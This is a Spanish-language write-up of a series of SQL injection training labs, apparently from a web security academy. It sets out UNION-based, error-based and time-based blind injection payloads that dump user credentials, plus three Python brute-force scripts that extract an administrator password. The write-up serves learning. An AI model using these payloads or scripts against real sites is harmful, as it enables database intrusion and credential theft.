Consiste en una serie de laboratorios, todos ellos relacionados con las inyecciones SQL. El objetivo final no es ganar accesso al sistema, si no obtener una flag para resolverlos. Una vez iniciado, se crear谩 un subdominio propio, a trav茅s del cual se procede a la enumeraci贸n
LAB1
- Instrucciones
- P谩gina Principal
- Explotaci贸n
El par谩metro Category
es vulnerable. El n煤mero total de columnas es 8. En caso de aplicar un ordenamiento con otro n煤mero, el servidor devuelve un c贸digo de estado 500
GET /filter?category=Clothing'+order+by+8--+- HTTP/2
Host: 0a05008e0409104a817934ca004d002f.web-security-academy.net
Cookie: session=i1BdpziL0QTw3Hwbn7WoLJPacZHPibM5
Cache-Control: max-age=0
Sec-Ch-Ua: "Not:A-Brand";v="99", "Chromium";v="112"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
En este caso no hay que dumpear ning煤n dato, si no aplicar una condici贸n booleana verdadera con la sentencia ' or 1=1-- -
LAB2
- Instrucciones
- P谩gina Principal
- Explotaci贸n
Puedo ver un panel de inicio de sesi贸n
En este caso la query a introducir ser铆a admin' or 1=1-- -
, ya que para que se aplique la validaci贸n correctamente tiene que haber datos encapsulados en las comillas simples. A modo de ejemplo, el servidor estar铆a ejecutando algo como:
select name,last_name from users where username = '%s' and password = '%s'
LAB3
- Instrucciones
- P谩gina Principal
- Explotaci贸n
En este caso, el n煤mero total de columnas es 3
GET /filter?category=Pets'+order+by+3--+-
Selecciono todas
GET /filter?category=Pets'+union+select+NULL,NULL,NULL--+- HTTP/2
Con esto bastar铆a para resolver el laboratorio
LAB4
- Instrucciones
- P谩gina Principal
- Explotaci贸n
Vuelve a tener 3 columnas
GET /filter?category=Accessories'+order+by+3--+- HTTP/2
Para que devuelva la cadena que se solicita, se puede introducir dentro de comillas simples en la selecci贸n de las columnas. Es importante saber que no siempre todos los campos son inyectables
GET /filter?category=Accessories'+union+select+NULL,'Q1CbEn',NULL--+- HTTP/2
LAB5
- Instrucciones
- P谩gina Principal
- Explotaci贸n
En este caso, el n煤mero total de columnas son dos
GET /filter?category=Lifestyle'+order+by+2--+- HTTP/2
Listo las bases de datos existentes
GET /filter?category=Lifestyle'+union+select+table_name,NULL+from+information_schema.tables+where+table_schema%3d'public'--+- HTTP/2
En la respuesta se muestra el output
Para esta tabla, listo las columnas
GET /filter?category=Lifestyle'+union+select+column_name,NULL+from+information_schema.columns+where+table_schema%3d'public'+and+table_name%3d'users'--+-
De todas las que reporta, me quedo con los usuarios y contrase帽as
Dumpeo las credenciales para todos los usuarios
GET /filter?category=Lifestyle'+union+select+username,password+from+public.users--+- HTTP/2
Inicio sesi贸n y termino el laboratorio
LAB6
- Instrucciones
- P谩gina Principal
- Explotaci贸n
Es el mismo caso que el anterior, solo que esta vez en el mismo campo tienen que estar concatenados usuario y contrase帽a. Vuelvo a listar las bases de datos
GET /filter?category=Gifts'+union+select+NULL,schema_name+from+information_schema.schemata--+- HTTP/2
Y las tablas
GET /filter?category=Gifts'+union+select+NULL,table_name+from+information_schema.tables+where+table_schema%3d'public'--+- HTTP/2
Con las columnas para users
GET /filter?category=Gifts'+union+select+NULL,column_name+from+information_schema.columns+where+table_schema%3d'public'+and+table_name='users'--+- HTTP/2
Dumpeo los valores
GET /filter?category=Gifts'+union+select+NULL,username||':'||password+from+public.users--+- HTTP/2
Me loggeo y termino el laboratorio
LAB7
- Instrucciones
- P谩gina Principal
- Explotaci贸n
En este caso, se est谩 empleando Oracle. Es necesario indicar en todo momento una tabla. La m谩s com煤n en la enumeraci贸n es ```dual``.
GET /filter?category=Gifts'+union+select+NULL,NULL+from+dual--+- HTTP/2
Extraigo la versi贸n. Para ello, es necesario conocer un campo en el que incluir la tabla que la contiene
GET /filter?category=Gifts'+union+select+NULL,banner+from+v$version--+- HTTP/2
LAB8
- Instrucciones
- P谩gina Principal
- Explotaci贸n
Ahora hay que hacer lo mismo pero para MySQL y Microsoft
GET /filter?category=Gifts'+union+select+NULL,@@version--+- HTTP/2
LAB9
- Instrucciones
- P谩gina Principal
- Explotaci贸n
Enumero las bases de datos
GET /filter?category=Gifts'+union+select+NULL,schema_name+from+information_schema.schemata--+- HTTP/2
Las tablas para public
GET /filter?category=Gifts'+union+select+NULL,table_name+from+information_schema.tables+where+table_schema%3d'public'--+- HTTP/2
Y las columnas de users_uixwzd
GET /filter?category=Gifts'+union+select+NULL,column_name+from+information_schema.columns+where+table_schema%3d'public'+and+table_name='users_uixwzd'--+- HTTP/2
Me quedo con usuario y contrase帽a. En este caso, los nombres son algo extra帽os, username_zkdsyz
, password_ihdhjk
GET /filter?category=Gifts'+union+select+NULL,username_zkdsyz||':'||password_ihdhjk+from+public.users_uixwzd--+- HTTP/2
Inicio sesi贸n y termino el laboratorio
LAB10
- Instrucciones
- P谩gina Principal
- Explotaci贸n
Mismo lab que el anterior, pero se est谩 empleando Oracle por detr谩s. Selecciono las dos columnas
GET /filter?category=Gifts'+union+select+NULL,NULL+from+dual--+- HTTP/2
Listo todas las tablas de todas las bases de datos
GET /filter?category=Gifts'+union+select+NULL,table_name+from+all_tables--+- HTTP/2
Para evitar ruido, tambi茅n se puede filtrar por un propietario
GET /filter?category=Gifts'+union+select+NULL,owner+from+all_tables--+- HTTP/2
GET /filter?category=Gifts'+union+select+NULL,table_name+from+all_tables+where+owner='PETER'--+- HTTP/2
Enumero las columnas para los usuarios
GET /filter?category=Gifts'+union+select+NULL,column_name+from+all_tab_columns+where+table_name='USERS_KQEEJZ'--+- HTTP/2
Dumpeo las credenciales
GET /filter?category=Gifts'+union+select+NULL,USERNAME_BIOVYO||':'||PASSWORD_DLXEUE+from+USERS_KQEEJZ--+- HTTP/2
Me loggeo y termino el laboratorio
LAB11
- Instrucciones
- P谩gina Principal
- Explotaci贸n
En este caso, el campo vulnerable es la cookie de sesi贸n TrackingId
. Al introducir una comilla simple, el mensaje de bienvenida que se pod铆a ver al inicio desaparece
Puedo tratar de insertar una nested query que se encargue de seleccionar un caracter de una columna, fijando la posici贸n. Dejo abierta una comilla porque se va a cerrar en la query que se aplica por detr谩s, en caso contrario, tendr铆a que a帽adir un comentario para que no se produzca un error
Cookie: TrackingId=CzzySOcML6e4oFIh' and (select substring(password 1,1) from users where username='administrator')='a;
Creo un script en python que se encargue de aplicar la fuerza bruta
#!/usr/bin/python3
from pwn import *
import requests, string, signal, sys, pdb
def def_handler(sig, frame):
sys.exit(1)
# Ctrl+C
signal.signal(signal.SIGINT, def_handler)
# Variables globales
characters = string.ascii_lowercase + string.digits
main_url = "https://0a1600f9048c8f1a828e394a001300bf.web-security-academy.net/"
def MakeRequest():
password = ""
p1 = log.progress("Blind SQLi:")
p2 = log.progress("Password:")
for position in range(1, 21):
for character in characters:
cookies = {
'TrackingId': "MvIdBgEfhEtivOSb' and (select substring(password,%d,1) from users where username='administrator')='%s" % (position, character),
'session': 'tO7WFRZa7lYpzv9dCahLIysRNfM3PCjb'
}
p1.status(cookies['TrackingId'])
r = requests.get(main_url, cookies=cookies)
if "Welcome back!" in r.text:
password += character
p2.status(password)
break
if __name__ == '__main__':
MakeRequest()
python3 /home/rubbx/Desktop/sqli_lab12.py
[鈻梋 Blind SQLi:: MvIdBgEfhEtivOSb' and (select substring(password,20,1) from users where username='administrator')='9
[鈻梋 Password:: gp6y8b36tslzei88mx99
Me loggeo y termino el laboratorio
LAB12
- Instrucciones
- P谩gina Principal
- Explotaci贸n
Ahora cuando la respuesta es inv谩lida devuelve un c贸digo de estado 500. La soluci贸n para esta ocasi贸n es introducir otra comilla simple, ya que lo m谩s probale es que se quedara un campo sin cerrar. Adem谩s, se est谩 empleando Oracle, por lo que hay que indicar una tabla
Cookie: TrackingId=NEQKfeMP7dS3xYpf'||(select '' from dual)||'; session=PmZjpcdziBGJBIQia08cMoUTkkAvosvU
La inyecci贸n consiste en un bucle infinito que va a iterar por cada caracter y en caso de que la condici贸n se cumpla, se efectuar谩 la operatoria 1/0
, lo que originar谩 un error (500), por lo que puedo descartarlos y dumpear los datos que quiera bas谩ndome en esta condici贸n. Por ejemplo, as铆 se podr铆a obtener la longitud de la contrase帽a
Cookie: TrackingId=NEQKfeMP7dS3xYpf'||(select case when (1=1) then to_char(1/0) else '' end from users where username='administrator' and length(password)=20)||'
El c贸digo de estado ser谩 500 solo para el valor 20
Creo un nuevo script en python que dumpee la contrase帽a
#!/usr/bin/python3
from pwn import *
import requests, string, signal, time, sys, pdb
def def_handler(sig, frame):
sys.exit(1)
# Ctrl+C
signal.signal(signal.SIGINT, def_handler)
# Variables globales
characters = string.ascii_lowercase + string.digits
main_url = "https://0a58004903162da580414ea100fe00cd.web-security-academy.net/"
def MakeRequest():
password = ""
p1 = log.progress("Blind SQLi:")
p2 = log.progress("Password:")
for position in range(1, 21):
for character in characters:
cookies = {
'TrackingId': "NEQKfeMP7dS3xYpf'||(select case when substr(password,%d,1)='%s' then to_char(1/0) else '' end from users where username='administrator')||'" % (position, character),
'session': 'PmZjpcdziBGJBIQia08cMoUTkkAvosvU'
}
p1.status(cookies['TrackingId'])
r = requests.get(main_url, cookies=cookies)
if r.status_code == 500:
password += character
p2.status(password)
break
if __name__ == '__main__':
MakeRequest()
python3 /home/rubbx/Desktop/sqli_lab12.py
[鈼 Blind SQLi:: NEQKfeMP7dS3xYpf'||(select case when substr(password,20,1)='u' then to_char(1/0) else '' end from users where username='administrator')||'
[b] Password:: 1sog9b6p4vh7260pf08u
Me loggeo para terminar el laboratorio
LAB13
- Instrucciones
- P谩gina Principal
- Explotaci贸n
En este caso se est谩 empleando PostgreSQL. Solo piden que la web tarde 10 segundos en responder
Cookie: TrackingId=Usj9qPoVOZv48tQ4'||pg_sleep(10)--+-
LAB14
- Instrucciones
- P谩gina Principal
- Explotaci贸n
Al igual que en el Oracle, puedo crear una condici贸n que se encarge de iterar por cada caracter, pero esta vez a base del tiempo y no del c贸digo de estado
Cookie: TrackingId=jCIXibJNL8DfHHYA'||(select case when (1=1) then pg_sleep(10) else pg_sleep(0) end from users where username='administrator')-- -
Tambi茅n es v谩lido obtener la longitud de la contrase帽a con la query anterior. Creo un nuevo script en python para dumpear la contrase帽a
#!/usr/bin/python3
from pwn import *
import requests, string, signal, time, sys, pdb
def def_handler(sig, frame):
sys.exit(1)
# Ctrl+C
signal.signal(signal.SIGINT, def_handler)
# Variables globales
characters = string.ascii_lowercase + string.digits
main_url = "https://0ab1003603d790f68013943100490077.web-security-academy.net/"
def MakeRequest():
password = ""
p1 = log.progress("Blind SQLi:")
p2 = log.progress("Password:")
for position in range(1, 21):
for character in characters:
time_init = time.time()
cookies = {
'TrackingId': "jCIXibJNL8DfHHYA'||(select case when substring(password,%d,1)='%s' then pg_sleep(3) else pg_sleep(0) end from users where username='administrator')-- -" % (position, character),
'session': 'WH1CuCd9cSPeHKglVlUoKmdzLJ5nH5cW'
}
p1.status(cookies['TrackingId'])
r = requests.get(main_url, cookies=cookies)
time_end = time.time()
if time_end - time_init > 3:
password += character
p2.status(password)
break
if __name__ == '__main__':
MakeRequest()
python3 /home/rubbx/Desktop/sqli_lab12.py
[../.....] Blind SQLi:: jCIXibJNL8DfHHYA'||(select case when substring(password,20,1)='d' then pg_sleep(3) else pg_sleep(0) end from users where username='administrator')-- -
[b] Password:: g4gkwyt5fjqjdpeub86d
La introduzco y termino el laboratorio